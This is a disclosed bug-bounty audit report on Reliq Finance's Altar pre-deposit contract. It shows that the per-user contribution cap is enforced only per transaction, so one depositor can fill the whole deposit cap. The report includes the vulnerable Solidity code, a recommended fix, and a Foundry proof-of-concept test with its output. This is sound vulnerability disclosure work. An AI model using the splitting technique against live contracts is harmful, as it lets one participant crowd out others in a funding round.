Status DataClose notification

Reliq Finance Disclosed Report

Audit Report

Altar: "per-user cap" is not enforced - users can exceed 'maxContribution' by splitting deposits and monopolize 'depositCap'

Target

https://github.com/hackenproof-public/reliq-protocol

Vulnerability details

Description :

I have analysed the 'Altar' pre-deposit / contribution mechanism, focusing on the contribution caps and how the contract enforces them.

During this review I observed a mismatch between the stated behavior and the actual enforced behavior:

  • The contract description says:

    "Contributions are capped per user and globally …" (Altar.sol header comment)

  • However, in implementation, 'maxContribution' is enforced only per transaction, not per user.

This means a single participant can exceed the intended “per-user cap” by simply splitting deposits across multiple 'sacrifice()' calls, while still staying within 'maxContribution' for each individual call.

Root Cause

In 'Altar.sacrifice', the code checks only:

  • 'amount >= minContribution && amount <= maxContribution' (cap per transaction)
  • 'totalContributions + amount <= depositCap' (global cap)

But it never checks the cumulative per-user amount:

  • Missing check: 'userContributions[user] + amount <= maxContribution'

Relevant code (Altar.sol)

function sacrifice(uint256 amount, address user) external nonReentrant {
    require(block.timestamp < deadline, "Altar: deadline passed");
    require(amount >= minContribution && amount <= maxContribution, "Altar: invalid amount");
    require(totalContributions + amount <= depositCap, "Altar: deposit cap exceeded");

    if (isWhitelistActive) {
        require(mintAllowance[user] >= amount + userContributions[user], "Altar: mint allowance exceeded");
    }

    userContributions[user] += amount;
    totalContributions += amount;

    backingToken.safeTransferFrom(msg.sender, address(this), amount);

    emit Sacrificed(user, amount);
}

There is no cumulative cap enforcement for userContributions[user].

Impact

This is a business logic / functional correctness vulnerability that affects fair participation and allocation.

What I observed an attacker (or any participant) can do:

  • Split contributions into multiple calls, each <= maxContribution

  • Accumulate userContributions[user] far beyond maxContribution

  • Potentially monopolize the full depositCap, blocking other users from participating

I consider this Medium , because:

  • It breaks the contract's stated "per-user cap" behavior.

  • It enables monopolization of the deposit round, impacting fairness and participation.

  • It does not directly steal funds, but it causes significant protocol-level correctness and distribution issues.

Recommended fix

If the intended behavior is truly "per-user cap", add a cumulative enforcement check:

require(userContributions[user] + amount <= maxContribution, "Altar: max per user exceeded");

If the intended behavior is "per-transaction cap", then the contract should:

  • Rename maxContribution to maxContributionPerTx, and/or

  • Update comments/docs to avoid misleading users and integrators.

Validation steps

I wrote a Foundry PoC using the existing test suite which demonstrates:

  • A single user can deposit maxContribution multiple times

  • Their final userContributions becomes greater than maxContribution

  • The user can fill the entire depositCap, preventing other users from depositing

PoC file Location

test/PreDeposit/AltarPerUserCap.t.sol

My POC File Content :

  // SPDX-License-Identifier: UNLICENSED
  pragma solidity 0.8.28;
  
  import "forge-std/Test.sol";
  import "forge-std/console.sol";
  
  import {Altar} from "../../src/Altar.sol";
  import {ReliqHYPE} from "../../src/ReliqHYPE.sol";
  import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
  import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
  
  contract MockERC20 is ERC20 {
      constructor() ERC20("Mock Backing Token", "MBK") {}
      function mint(address to, uint256 amt) external { _mint(to, amt); }
  }
  
  contract AltarPerUserCapTest is Test {
      MockERC20 backing;
      ReliqHYPE reliq;
      Altar altar;
  
      address alice = makeAddr("alice");
      address bob   = makeAddr("bob");
  
      function setUp() public {
          backing = new MockERC20();
  
          // ReliqHYPE is required only because Altar stores it; this PoC focuses on sacrifice() behavior
          reliq = new ReliqHYPE(IERC20(address(backing)));
          altar = new Altar(address(reliq), address(backing));
  
          uint256 minContribution = 1 ether;
          uint256 maxContribution = 100 ether;
  
          // Set depositCap to 2 * maxContribution to show one user can fill entire cap
          uint256 depositCap = 200 ether;
  
          altar.kickOff(
              block.timestamp + 7 days,
              minContribution,
              maxContribution,
              depositCap
          );
  
          // Fund users + approve altar
          backing.mint(alice, 1_000 ether);
          backing.mint(bob,   1_000 ether);
  
          vm.prank(alice);
          backing.approve(address(altar), type(uint256).max);
  
          vm.prank(bob);
          backing.approve(address(altar), type(uint256).max);
      }
  
      function test_user_can_exceed_maxContribution_by_splitting_deposits() public {
          uint256 max = altar.maxContribution();
  
          // Alice deposits "maxContribution" twice (each tx individually respects maxContribution)
          vm.prank(alice);
          altar.sacrifice(max, alice);
  
          vm.prank(alice);
          altar.sacrifice(max, alice);
  
          uint256 aliceTotal = altar.userContributions(alice);
  
          console.log("maxContribution(per tx) =", max);
          console.log("alice userContributions =", aliceTotal);
          console.log("totalContributions      =", altar.totalContributions());
          console.log("depositCap              =", altar.depositCap());
  
          // This proves the contract does NOT enforce a true "per-user cap"
          assertEq(aliceTotal, 2 * max, "userContributions should exceed maxContribution by splitting deposits");
          assertGt(aliceTotal, max, "BUG: per-user contribution exceeded maxContribution");
  
          // Because depositCap is filled, Bob cannot participate anymore
          vm.prank(bob);
          vm.expectRevert(bytes("Altar: deposit cap exceeded"));
          altar.sacrifice(1 ether, bob);
      }
}

Run the POC from Repo Root :

forge test --match-contract AltarPerUserCapTest -vvv

My console output

 $ forge test --match-contract AltarPerUserCapTest -vvv
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 928.46ms
Compiler run successful!

Ran 1 test for test/PreDeposit/AltarPerUserCap.t.sol:AltarPerUserCapTest
[PASS] test_user_can_exceed_maxContribution_by_splitting_deposits() (gas: 140226)
Logs:
  maxContribution(per tx) = 100000000000000000000
  alice userContributions = 200000000000000000000
  totalContributions      = 200000000000000000000
  depositCap              = 200000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.64ms (1.07ms CPU time)

Ran 1 test suite in 16.28ms (2.64ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

What my PoC proved

  • maxContribution is enforced only per transaction, not per user.

  • A single user can make multiple deposits and push userContributions[user] above maxContribution.

  • A single user can fill the entire depositCap, preventing other users from participating.

Attachments

Attachments are hidden

This information is not publicly available.

Comments are hidden

This information is not publicly available.